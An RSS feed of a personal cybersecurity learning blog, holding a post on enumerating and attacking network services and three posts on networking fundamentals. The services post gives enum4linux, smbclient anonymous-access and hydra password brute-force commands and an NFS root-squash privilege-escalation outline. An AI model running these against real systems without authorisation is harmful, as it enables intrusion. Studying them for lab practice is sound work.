<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[HackingMill - Medium]]></title>
        <description><![CDATA[This blog is where I will put my notes about several topics revolving around cybersecurity and hacking, some write-ups of boxes on TryHackMe, HackTheBox and CTFs. - Medium]]></description>
        <link>https://medium.com/hackingmill?source=rss----c9d120ea77d3---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>HackingMill - Medium</title>
            <link>https://medium.com/hackingmill?source=rss----c9d120ea77d3---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 08:43:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/hackingmill" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Network Services]]></title>
            <link>https://medium.com/hackingmill/network-services-f4175d00005c?source=rss----c9d120ea77d3---4</link>
            <guid isPermaLink="false">https://medium.com/p/f4175d00005c</guid>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[LumberJohn]]></dc:creator>
            <pubDate>Thu, 24 Feb 2022 10:35:47 GMT</pubDate>
            <atom:updated>2022-02-24T10:39:18.371Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Fundamentals - Services</h3><p>Today I’m gonna write about network services. This time I will not only give an introduction to what they are, but in some of them, I will give some tips on how to enumerate the services and even how to try and exploit them. In some cases, there is a need for external tools, and in those cases, I’ll try to explain how to use those tools on that service. I will not be going in-depth on how to use those tools, but maybe I’ll make a post someday explaining that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*3nVFPeNCxRJWvN2O.jpg" /></figure><p>With the intro out of the way, let’s begin…</p><p>The first service I want to talk about is <strong>SMB</strong> (Server Message Block). SMB is a client-server communication protocol used for sharing access to files, printers, serial ports, and other resources on a network. It provides client applications with a secure and controlled method for accessing files on a remote server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*b63wZFfFA6qjC3W6-_YM8A.png" /><figcaption>SMB operation</figcaption></figure><p>Many of you should be familiar with the name Samba, but Samba is just a free software re-implementation of the SMB protocol.</p><p>The first thing you should always do when enumerating a target is a Nmap scan. I will only mention this step this time because you should do all targets. I will also mention other Nmap scans when they are involved in an exploit and not in the first scan of the machine.</p><p>When you scan a target you potentially have this output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*eGXZwy_8JcvTcMBqLwzkLw.png" /><figcaption>Nmap output</figcaption></figure><p>You should know that SMB runs on ports 139 and 445 TCP. So having found SMB in use, you now should start enumerating it using the tool, for example, Enum4Linux.</p><pre>enum4linux -a &lt;IP&gt;</pre><p>The -a switch will perform a full basic enumeration.</p><p>The output is too large to put it here, but there is a lot of useful information such as the operating system version, name of the machine, and workgroup. You should search for things such as lists of shares or printers, information about domain and workgroup, and information about password policies.</p><p>To exploit SMB you can use, for example, the tool smbclient because it’s part of the default samba suite.</p><pre>smbclient ////&lt;ip&gt;//&lt;share&gt; -U &lt;user&gt; -P &lt;port&gt;</pre><p>If you haven’t found any users yet, you can use the user ‘anonymous’ as an unauthenticated entry point to the machine. If it’s badly configured you might access some interesting documents. The -P flag is optional.</p><p>You can also try to enter the system with a user using smbclient, just remember you need to know its password.</p><pre>smbclient -L &lt;IP&gt; -U &lt;user&gt;</pre><p>There are also other tools and techniques you can use to enumerate and exploit SMB, but here I will only talk about these because they are very simple and easy to use.</p><p>Next on my list, we have <strong>Telnet</strong>. Telnet is a protocol used to virtually access a remote computer that runs a Telnet server. It works as a client-server protocol that opens a command line on the remote server. Because Telnet is insecure, it sends messages in clear text, in most implementations it has been replaced by SSH.</p><p>It’s important to note that Telnet doesn’t have a specific port of communication. You should do a Nmap scan to all ports to increase your chances of finding it.</p><p>It’s very simple to use Telnet you just have to do the following command:</p><pre>telnet &lt;IP&gt; &lt;Port&gt;</pre><p>If you can run commands in the system this way you can create a reverse shell and have access to the system. (a reverse shell is a shell created on the target machine that connects to your machine).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*tbRN6QImDjhSj8O75geLWw.png" /><figcaption>reverse shell example</figcaption></figure><p>Continuing the services list we have<strong> FTP </strong>(File Transfer Protocol). As you can deduce by the name, FTP is a protocol used to allow remote transfer of files over a network. It uses a client-server model and relays commands and data e a very efficient way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*N4_LCub3ZQFGo4Mm" /></figure><p>An FTP session operates using two channels:</p><ul><li>command channel — used to transmit commands.</li><li>data channel — used to transmit data.</li></ul><p>Apart from these two channels, it has two types of connections:</p><ul><li>active — the client opens a port and waits. The server has to actively connect to that port.</li><li>passive — the server opens a port and waits for a client connection.</li></ul><p>FTP runs by default on port 21 TCP. To connect to FTP you just have to run the following command:</p><pre>ftp &lt;IP&gt;</pre><p>With just this connection you can’t do much because it will ask for credentials. However, if you have a username, you can use hydra to find its password. Hydra is a very fast online password cracking tool that performs attacks on protocols. In this case, you run:</p><pre>hydra -t 4 -l &lt;User&gt; -P &lt;Password_List&gt; -vV &lt;IP&gt; &lt;Protocol&gt;</pre><ul><li>-t is the flag for the number of parallel connections to the target.</li><li>-vV shows the login+password combination for each attempt.</li></ul><p>We will now explore a service that is quite similar to FTP, and that <strong>NFS </strong>(Network File System). It’s a protocol that allows sharing of directories and files on a network. Users can use commands to create, remove, read, write and set file attributes for remote files and directories.</p><p>I will not go in-depth explaining how NFS works, I’m just gonna give a brief explanation so you can have an idea. First, the client mounts a directory from a remote host on a local directory, then the mount services will connect to the mount daemon using RPC (Remote Procedure Call).</p><p>The server then checks if the user has the right permissions to mount the requested directory. It will then return a file handle that uniquely identifies each file. It’s useful to know that an RPC call is placed to the NFSD (NFS Daemon) when someone wants to access the files. This call takes parameters such as:</p><ul><li>File handle</li><li>Name of the file</li><li>User ID</li><li>User’s group ID</li></ul><p>To perform a more complete enumeration on an NFS server, we need to have the tool nfs-common which is key to interacting with any NFS share from our local machine.</p><p>Having found a port running NFS during our Nmap scan, we then need to use the following command to list the NFS shares:</p><pre>/usr/sbin/showmount -e &lt;IP&gt;</pre><p>Then we need to mount that share on our local machine to see what are its contents. But first, we need to create a temporary folder on our machine to mount the share to. To mount the share we need to use the following command:</p><pre>sudo mount -t nfs &lt;IP&gt;:&lt;share&gt; /tmp/mount/ -nolock</pre><ul><li>-t — specifies the type of device to mount, in this case, nfs.</li><li>/tmp/mount — is the folder we create to mount the share to.</li><li>-nolock — specifies not to use NLM (Network Lock Manager) locking.</li></ul><p>If we then go to /tmp/mount, we can see what files there are in that share, and hopefully, find some interesting information.</p><p>Next, I will show the steps to exploit it, and only then will I explain some of the steps.</p><ol><li>Have NFS access</li><li>Gain Low Privilege Shell</li><li>Upload Bash Executable to NFS share</li><li>Set SUID Permissions due to Misconfigured Root Squash</li><li>Login through SSH</li><li>Execute SUID Bit Bash Executable</li><li>Have Root Access</li></ol><p>Let’s start with root squash. By default, it is enabled and prevents anyone from connecting to the share from having root access. If it’s misconfigured and disabled, it allows the creation of SUID bit files.</p><p>You can find a more in-depth explanation of SUID on my post about Privilege Escalation (Linux) — Part 1, but for this post, all you need to know is that a file with SUID bit set can be run with the permissions of the file owner/group, and in this case, as the super-user.</p><p>Well, this is all that&#39;s needed to exploit a <strong>misconfigured</strong> NFS share.</p><p>Finally, to end this post, let’s talk a bit about <strong>SMTP </strong>(Simple Mail Transfer Protocol). As the name says, it’s a protocol used to handle the sending of emails. To do this, it’s required a pair of protocols comprising of SMTP and POP/IMAP. Together these allow the user to send and receive email.</p><p>POP (Post Office Protocol) and IMAP (Internet Message Access Protocol) are both email protocols responsible for the transfer of mail between a client and a mail server.</p><p>It’s rather easy to explain how it works because it’s very similar to the physical mail system. The user supplies the email and a service, and through a series of steps, it will be delivered to the recipient&#39;s inbox. The role of the SMTP is to act as a sorting office, which means that the email is sent to the SMTP server that will direct it to its recipient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*DASPgqJEj5oMmyf2_k5WAg.png" /></figure><p>There are 3 basic functions you should know about SMTP:</p><ul><li>It verifies who is sending the email.</li><li>It sends emails (obviously).</li><li>If the email can’t be sent, it warns who tried to send the email.</li></ul><p>You can go more in-depth on how it works step-by-step, but I think this top-level explanation is enough to understand it.</p><p>SMTP runs on port 25 TCP.</p><p>To enumerate SMTP it’s easier to use Metasploit which has two modules that do the work for us. These modules are:</p><ul><li>smtp_version</li><li>smtp_enum</li></ul><p>After running this we should have useful info, and if you actually find a username, you can use hydra, just like in FTP, to try to brute-force the password on ssh.</p><pre>hydra -t 16 -l &lt;User&gt; -P &lt;Password_List&gt; -vV &lt;IP&gt; &lt;Protocol&gt;</pre><p>You have a little breakdown of the command on the FTP section of this post.</p><p>This post was a lot of fun to write, it being the first post I make that explains some entry points to machines. I’m not saying that when you see these services you have an automatic entry point, just saying that now you have a simple guide of how you can try to exploit them. Remember that almost all exploits require some misconfiguration.</p><p>This was supposed to be in the “other” section with a “cybersecurity” tag but, as I finished writing this I thought that it was better fitted for the pentesting section because it actually has tips/guides to exploit these services.</p><p>Thank you for reading and see you next time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4175d00005c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackingmill/network-services-f4175d00005c">Network Services</a> was originally published in <a href="https://medium.com/hackingmill">HackingMill</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Fundamentals — Protocols]]></title>
            <link>https://medium.com/hackingmill/network-fundamentals-protocols-5c1b513c39ce?source=rss----c9d120ea77d3---4</link>
            <guid isPermaLink="false">https://medium.com/p/5c1b513c39ce</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[LumberJohn]]></dc:creator>
            <pubDate>Tue, 22 Feb 2022 16:16:59 GMT</pubDate>
            <atom:updated>2022-02-24T10:44:39.351Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Fundamentals — Protocols</h3><p>Because they are one of the most important parts of networking, this blogs post is to explain what some of them are and how they work. This post probably will never be completely finished because of the sheer amount of protocols that exist, and that are created. Now without further due, let’s begin.</p><p>The definition of network protocols, as you can find on CompTIA is <strong>an established set of rules that determine how data is transmitted between different devices in the same network. Essentially, it allows connected devices to communicate with each other, regardless of any differences in their internal processes, structure, or design.¹</strong></p><p>In a more easily digestible way, a protocol is a set of rules that define how a communication occurs in a network. They allow connected devices to communicate with each other, regardless of the differences in their processes, structure, or design.</p><p>Let’s start this with one of the most important protocols that act on a physical level, the <strong>Ethernet protocol</strong>.</p><p>Every system that is connected using cables to access a geographically localized network likely uses Ethernet. It initially grew due to its affordable cost, but as technology advanced, its ability to evolve and deliver high performance sustained its popularity.</p><p>I mentioned in another post about the IP addresses so much of what is written here will be the same. The <strong>IP protocol</strong> runs on the internet layer of the OSI model (layer 3). It serves for routing and addressing packets of data so that they can travel across networks and arrive at the right destination. The IP information is attached to packets and helps routers send the packet to the right place. It works through IP addresses.</p><p>An IP (Internet Protocol) address is a unique address that identifies a device on the Internet, it contains location information and makes the device accessible for communication. The internet uses them to differentiate between different computers, routes, and websites.</p><p>There are two versions of the protocol, IPv4 and IPv6.</p><p>The main difference of the protocols is the notations and the amount of unique IP addresses each can have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4OoZaMz5A13pNLN5.jpg" /></figure><p>As you can see in the image above, an IPv4 address is composed of 32 bits, 4 segments of 8 bits separated by a dot (.), usually depicted in decimal format (0–255). Each segment is called an octet. On the other hand, an IPv6 is composed of 128 bits, 16 segments of 16bits separated by a colon(:), usually depicted in hexadecimal format (0 — F).</p><p>There are a couple of special IP addresses that should be known:</p><ul><li>Privates: these stop users external to the network from making a connection directly to a device in the network. They can be (x can be any valid number):<br>- 10.x.x.x<br>- 172.16.x.x — 172.31.x.x<br>- 192.168.x.x<br>- fd96:2c12:e9b4:8134:xxxx:xxxx:xxxx:xxxx (IPv6)</li><li>Loopback: these are used to send messages back to me:<br>- 127.x.x.x<br>- 0:0:0:0:0:0:0:1 (IPv6)</li><li>APIPA (Automatic Private IP Address): these are used when the computer can’t connect to the DHCP server (a server that automatically assigns IP addresses to devices):<br>- 169.254.x.x</li></ul><p>To finish about IPv6, you should know that you can divide the address in the middle, half for the network and the other half for the device. You can see what each segment is in the following image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*pY7HiVwnX9Vu7C7ycQtnIQ.png" /></figure><p>If you don’t want to always write all the numbers of the IPv6, there is an abbreviation you can use where you simply “remove” the zeros, as shown next:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/309/1*G6wjeeTyLen7oa_THrEieg.png" /></figure><p>Next are two protocols that should always be talked about together, the <strong>TCP </strong>and <strong>UDP protocols.</strong></p><p>TCP (Transmission Control Protocol) is one of the main protocols of the Internet suite. It provides reliable, ordered, and error-checked delivery of data between applications running of hosts communicating via an IP network.</p><p>UDP (User Datagram Protocol) is also one of the main protocols of the Internet suite. Here applications can send messages to other hosts on an IP network.</p><p>These two sound very alike, so what are the differences?</p><p>Well, geeksforgeeks has an amazing table that shows exactly the differences between the two.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*MtWJOTHlSAXr9sL9bPdjIQ.png" /><figcaption>(source: <a href="https://www.geeksforgeeks.org/differences-between-tcp-and-udp/">https://www.geeksforgeeks.org/differences-between-tcp-and-udp/</a>)</figcaption></figure><p>In terms of applications, TCP is suited for cases where there is a need for high reliability, but transmission time is less critical, like Whatsapp, Instagram and such. UDP is almost the contrary, you need high speed but don’t mind if some packets are lost, like in games, or streaming.</p><p>According to Wikipedia <strong>DNS</strong> (Domain Name System) <strong>is the hierarchical and </strong><a href="https://en.wikipedia.org/wiki/Decentralised_system"><strong>decentralized</strong></a><strong> naming system used to identify computers, </strong><a href="https://en.wikipedia.org/wiki/Internet#Applications_and_services"><strong>services</strong></a><strong>, and other resources reachable through the </strong><a href="https://en.wikipedia.org/wiki/Internet"><strong>Internet</strong></a><strong> or other </strong><a href="https://en.wikipedia.org/wiki/Internet_Protocol"><strong>Internet Protocol</strong></a><strong> (IP) networks.²</strong></p><p>In simpler terms, is like the phonebook of the Internet. DNS translates domain names, like google.com or facebook.com to IP addresses. Each device connected to the Internet has an IP address and DNS servers eliminate the need to remember IP addresses. Imagine trying to remember the IPv6 address to a couple of websites…</p><p>The name resolution is done by resolvers. They are basically servers that contact the DNS server to find the TLD (Top Level Domain) and follow the hierarchy until they find the host.</p><p>The algorithm basically does the following:<br>1. The resolver contacts the root domain server to find the information about the TLD.<br>2. Then it asks the TLD what is the authoritative name server that can give information about the requested domain.<br>3. It repeats step 2 for each subdomain.<br>4. In the end it asks for the domain resolution for the host.</p><p>This next image shows the workflow from requesting a webpage to getting it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/0*qVaoZyn0lAnt39cn.png" /></figure><p>If you’re thinking, how does the resolver know the IP address of the root server? Well, it is actually hardcoded in the configuration of each resolver. The system admins manage the list and keep it updated.</p><p>A DNS has four primary types of records, these are:</p><ul><li>A — resolves IPv4 addresses</li><li>AAAA — resolves IPv6 addresses</li><li>CNAME — resolves to other domain address. You can have, for example, <a href="http://www.mydomain.com,/">www.mydomain.com</a> and ftp.mydomain.com resolve to mydomain.com</li><li>MX — resolves the address for the email servers for the domain requested. Essentially it directs the email to the email server.</li><li>TXT — just text data that is saved. It contains information for sources outside the domain.</li></ul><p>To finish this explanation about DNS, it’s always good to know that the inverse operation is also possible. You can convert an IP address to a DNS name.</p><p><strong>ARP </strong>(Address Resolution Protocol) is a procedure for mapping a dynamic IP address to a permanent physical machine in a LAN. It essentially translates an IP address to a MAC address. There isn’t much to say about ARP to my current knowledge. To explain the algorithm, imagine the following example.</p><p>If A wants to send traffic to B but only knows its IP address:<br>1. A constructs an ARP request that has the IP address of B and the broadcast MAC address. This makes that the switch will send the request to all the hosts.<br>2. All the hosts on the network receive the request<br>3. B answers with an ARP reply giving A its MAC address.<br>4. A will then save the mapping IP-MAC to its ARP cache</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*LbeBnNeo5-r6ThiWGW1Akw.png" /></figure><p>To check the arp cache you can use the following commands on different operating systems:</p><ul><li>On Linux use — ip neighbour</li><li>On Windows use — arp -a</li><li>On *nix use — arp</li></ul><p><strong>DHCP</strong> (Dynamic Host Configuration Protocol) is used to automatically attribute IP addresses and other parameters of communication for devices using a client-server architecture. This eliminates the need to individually configure the devices manually. It’s necessary to exist one only DHCP server and it has to be inside of the broadcast.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*4Y4U-JZ6YbGoqXsY.jpg" /></figure><p><strong>RPC </strong>(Remote Procedure Call) is a protocol for constructing distributed, client-server based applications. It extends the normal local procedure calling so that called procedure does not need to exist in the same address space. The two processes can be on different systems as long as they have an internet connection between them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/0*04f-yRgswubyo5Ww.png" /></figure><p>The above image does an excellent job explaining how RPC works, from the client request until it receives the desired reply.</p><p>As I said before, this post is always a work in action, I’ve already added at least one other protocol. I’ve made a distinction here about protocols and services. I know that there are much more protocols such as HTTP or FTP but I’ve made a decision of what protocols should be included here. Thank you for reading and see you next time.</p><p>[1]: <a href="https://www.comptia.org/content/guides/what-is-a-network-protocol#:~:text=A%20network%20protocol%20is%20an,internal%20processes%2C%20structure%20or%20design">https://www.comptia.org/content/guides/what-is-a-network-protocol</a><br>[2]: <a href="https://en.wikipedia.org/wiki/Domain_Name_System">https://en.wikipedia.org/wiki/Domain_Name_System</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c1b513c39ce" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackingmill/network-fundamentals-protocols-5c1b513c39ce">Network Fundamentals — Protocols</a> was originally published in <a href="https://medium.com/hackingmill">HackingMill</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Fundamentals — Part 2]]></title>
            <link>https://medium.com/hackingmill/network-fundamentals-part-2-11e9e4718416?source=rss----c9d120ea77d3---4</link>
            <guid isPermaLink="false">https://medium.com/p/11e9e4718416</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[LumberJohn]]></dc:creator>
            <pubDate>Tue, 22 Feb 2022 12:14:25 GMT</pubDate>
            <atom:updated>2022-02-22T12:14:25.546Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Fundamentals — Part 2</h3><p>This post is a continuation of a previous post I’ve made. This expands on the subject and touches on a little more concepts that should be known. If you haven’t read the previous post, you can find it here: <a href="https://medium.com/hackingmill/network-fundamentals-part-1-ec06fd83ac60">https://medium.com/hackingmill/network-fundamentals-part-1-ec06fd83ac60</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*2pUB7zgHM24zHc54P8V-Mw.png" /></figure><p>Now without further due let’s begin…</p><p>Last time I started the post explaining the OSI Model. This time I thought of doing something similar, so I’ll start by explaining a bit about the TCP/IP Model.</p><p>The TCP/IP model stands for Transmission Control Protocol/Internet Protocol. It was designed and developed by the Department of Defence and based on standard protocols. It contains only four layers unlike the seven of the OSI model, so you could say it is a more concise version. The model has the following essential characteristics:</p><ul><li>Support for a flexible TCP/IP architecture</li><li>TCP is a connection-oriented protocol</li><li>TCP offers high reliability and ensures that the data, which arrives out of sequence, can be put back together.</li><li>TCP allows the implementation of flow control, so the sender never overpowers a receiver with data.</li></ul><p>The next image shows a layer-to-layer comparison between both models and some services that run on those layers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*8gvqEZQrzJtNzZ0nLW2iuQ.png" /></figure><p>The application layer is the layer that interacts with software applications to implement a communication component. Unlike in the OSI model, this layer is also responsible for the interpretation of the data by the application. Some examples are file transfer, email, remote login, etc.</p><p>The transport layer builds on the network layer in order to provide data transport from a process on a source system to a process on a destination system. It helps you control the reliability of a link through flow control, error control, and segmentation/de-segmentation.</p><p>The internet layer is also known as the network layer. Its main job is sending packets from any network, and any computer to its destination irrespective of the route they take. It offers functional and procedural methods for transferring data sequences from one node to another with the help of various networks.</p><p>The network interface layer is also called the network access layer. It helps you to define the details of how the data should be sent physically through the network.</p><p>When you send data to another computer it goes through several devices, like routers and switches, but what are those (insert funny meme here…)?</p><p>Even before I start explaining about those devices, I’d like to introduce you to 4 simple concepts:</p><ul><li>LAN (Local Area Network) — a network of devices connected in one physical location, such as a school or an office. Can be just a home network with one user to an enterprise network with thousands.</li><li>WAN (Wide Area Network) — a large network that is not tied to a single physical location. The Internet is the largest WAN in the world.</li><li>ASN (Autonomous System Number) — an autonomous system is a large network (or group of networks) that has a unified routing policy. An ASN is just a number that identifies an AS.</li><li>Routing — is the process of selecting a path across one or more networks. On the Internet, routing selects the paths that the IP packets take to travel from origin to destination.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*mzpi7c0Q8AOx02o54SE0bg.png" /></figure><p>These concepts will help you understand how to internet works and will be mentioned in the rest of this post. So, with these in mind let’s start explaining what are switches.</p><p>A network switch is a device that connects devices within a network (often called LAN) and forwards data packets to and from those devices. Unlike a router, a switch only sends the data to the single devices it is intended for, not to networks of multiple devices.</p><p>Switches can have multiple interfaces, and because of that, they have a forwarding table that maps one or more MAC addresses to an interface. This forwarding table is also called Content Addressable Memory (CAM).</p><p>The next image is an example of what a CAM can look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*M9wVq8VNiTAwKlNOUobc6g.png" /></figure><p>Here you can see that there is only one host connected to interfaces 1 and 3, but there are two hosts connected to interface 2. The TTL (time-to-live) defines how long an entry stays on the table, this is important because the table has a limited size. Switches learn new MACs dynamically by inspecting the header of the packets that pass through them.</p><p>When a packet that’s passing through the switch has its header inspected, there can be 3 possible actions:</p><p>1 — If the MAC is not on the table, it’s created a new entry MAC-interface<br>2 — If the MAC is on the table, the TTL of that entry is updated<br>3 — If the MAC is on the table but there is no interface connected, the switch updates the table.</p><p>Having talked about switches, it’s time to go to the other side of the coin, routers.</p><p>A router is a device that connects two or more packet-switched networks. It has two primary jobs, managing traffic between these networks and allowing multiple devices to use the same Internet connection. Most routers pass data between LANs and WANs.</p><p>When you send a packet, the only thing he knows is the destination, but not how to get there. It’s the router’s job to guide the packets to their destination as efficiently as possible. To do this the router has an internal routing table that is nothing more than a list of paths to various network destinations. Like in the switch, the router inspects the packet header to see the destination and then consults the routing table to see the right path.</p><p>The next table shows the differences between the router and the switch. All credit of this table goes to javatpoint.com which made an excellent article about this. You can find this article at: <a href="https://www.javatpoint.com/switch-vs-router">https://www.javatpoint.com/switch-vs-router</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bPUuPKRzPfaUMXtZuyUmEg.png" /><figcaption>(image source: <a href="https://www.javatpoint.com/switch-vs-router">https://www.javatpoint.com/switch-vs-router</a>)</figcaption></figure><p>To finish this blog post there are only two more things I want to briefly introduce. I won’t go in-depth on these topics because they could be a blog post on their own.</p><p>The first thing is port forwarding.</p><p>Port forwarding allows remote servers and devices on the internet to access the devices that are on our LAN. As you can remember, your router gives you a private IP address (192.168.x.x) that stops users external to your network from making a connection directly to your devices. So without port forwarding, only devices that are part of the internal network could access each other, so your website on your webserver couldn’t be reached by others.</p><p>I still haven’t made a post talking about ports (probably gonna do a network fundamentals part 3) but essentially they are how computers distinguish between multiple services listening on one computer. You can think of them as doors to a house: your computer has 65000 doors, if door 80 that is used for websites is listening, you can say that door is unlocked. The next image does a better job explaining that I could ever due by writing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eFufCOr7kIq0_NOzO2lxYQ.png" /></figure><p>The last bit of information I will touch on today is about VPNs.</p><p>A VPN (virtual private network) is a technology developed to allow devices of different networks to communicate in a secure way, by creating a secure dedicated channel between them. It encrypts your internet traffic and disguises your online identity by letting the network redirect it through a specially configured remote server run by a VPN host.</p><p>A VPN should have the following characteristics:</p><ul><li>Secure encryption — all data should be securely encrypted in a way that only with the right key can you understand it.</li><li>Disguising whereabouts — the VPN servers act as a proxy on the internet, which means all traffic you send goes to the VPN and only then to the destination.</li><li>Secure data transfer — VPN services connect to private servers and use encryption to reduce the risk of data leakage.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wng6g-zz88TvpKzs5ezSeQ.png" /><figcaption>(image source: yellowstonecomputing.com)</figcaption></figure><p>Well, this is all I have to write about today. While I was writing this I found that some concepts are still missing, but I will make a post about them someday. Also, I know some of this may be weirdly written, as if not actually planned (it isn’t), but keep in mind that I’m not a writer, and these posts are my attempt to understand better these concepts by trying to explain them. Thank you for reading and see you next time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11e9e4718416" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackingmill/network-fundamentals-part-2-11e9e4718416">Network Fundamentals — Part 2</a> was originally published in <a href="https://medium.com/hackingmill">HackingMill</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Fundamentals — Part 1]]></title>
            <link>https://medium.com/hackingmill/network-fundamentals-part-1-ec06fd83ac60?source=rss----c9d120ea77d3---4</link>
            <guid isPermaLink="false">https://medium.com/p/ec06fd83ac60</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[LumberJohn]]></dc:creator>
            <pubDate>Tue, 15 Feb 2022 15:50:33 GMT</pubDate>
            <atom:updated>2022-02-15T15:50:33.042Z</atom:updated>
            <content:encoded><![CDATA[<h3>Network Fundamentals — Part 1</h3><p>In this post, I will be talking about some network fundamentals one should have when studying cybersecurity. There will be another post that talks about protocols and another that will talk about how to exploit certain common services. Now with the intro out of the way, let’s begin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/0*dT3dcB6hNxb0QWWS.jpg" /></figure><p>When someone starts studying networking, almost always the first thing that is explained is the OSI model. The most important thing to know about the OSI model is that it is a conceptual framework used to describe the functions of a network system. More easily, it provides a standard for different computer systems to be able to communicate with each other.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*FhseO92vQRjks2ZPCYB5rA.png" /></figure><p>As you can see it’s divided into seven layers, each with its own function.</p><ul><li>1. Physical — the physical layer is what represents the physical hardware components, such as cables and switches. Here occurs the transmission and reception of raw bitstreams, where it converts the digitals bits into electrical, radio, or optic signals.</li><li>2. Data Link — it’s very similar to the physical layer, the difference being that the data transference happens between two devices on the same network. It takes packets from the network layer and breaks them down into frames.</li><li>3. Network — provides functional and procedural means of transferring packets from one node to another one on a different network. It breaks segments received from the transport layer into smaller units called packets. It also has the job to find the best physical path for the data to reach its destination, this is called routing.</li><li>4. Transport — is responsible for communication end-to-end between two devices, flow control, and error control. It receives data from the session layer and breaks it down into segments before sending them to the network layer. Flow control determines the optimal speed of transmission to ensure that the connection isn’t overwhelmed, error control ensures the data received is complete. It uses the two most famous protocols of networks, the <strong>TCP </strong>and <strong>UDP.</strong></li><li>5. Session — as the name says, it creates sessions between two computers for communication. It guarantees that the session is opened long enough to transfer all the data, and then close the session without wasting resources. It also creates “checkpoints” when the data is large to permit that the transfer resumes if there is a crash, instead of starting over.</li><li>6. Presentation — the primary job of this layer is to prepare the data so that it can be used by the application layer, this includes translation, encryption, and compression of data.</li><li>7. Application — it’s the only layer that interacts directly with the user. Here there are protocols and rules about how the user can interact with the data. Its functions include identifying communication partners, determining resource availability, and synchronizing for communication.</li></ul><p>In simpler terms, layers 1 and 2 verify and validate the data, layer 3 manages IP addresses and guarantees the data is sent to the correct user, layer 4 controls the viability of a certain link by means of flux control or segmentation, layers 5, 6, and 7 connect the server to client, organizes data and verifies to each application the data goes.</p><p>Because this post is about fundamentals and I already mentioned them, this next small (I hope) section is about packets and frames.</p><p>A packet is the basic unit of communication between a source and a destination in a network. The data sent is divided into packets that are recombined by the destination devices. The main difference between a packet and a frame is the association with the OSI layers. A packet is the unit of data in the network layer, a frame is in the data link layer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*dSoANZxqyZ1rHjLzAj0mgA.png" /></figure><p>The above image has the fundamental information about them, and what distinguishes them.</p><p>It’s only logical that after mentioning packets and frames I should explain the concept of encapsulation.</p><p>In networking, encapsulation is a process where some extra information is added to the data to add some features to it. Usually, a lower-layer protocol receives the data and places it into a data portion of its frame.</p><p>This next image shows the core concept of encapsulation, and the workflow when creating a packet to send.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*AGsip01dPe5AinUFXBtavw.png" /></figure><p>This idea of layers and encapsulation exists to provide some flexibility. We can make changes to the hardware without the network layer and above knowing what is happening. If it was all one layer, making changes like upgrading a network card would be much more difficult.</p><p>A good analogy to understand the need for layering and encapsulation is the following. Imagine you are sending a present to a friend abroad, you first wrap the present, add the address, give it to the post office, then the post office puts it on a plane, and when it reaches the country, the post office there sends it to the correct address. This is nothing more than a process of encapsulating, adding a header, sending the data, and decapsulating.</p><p>To keep this post short, the last thing I want to talk about is IP and MAC 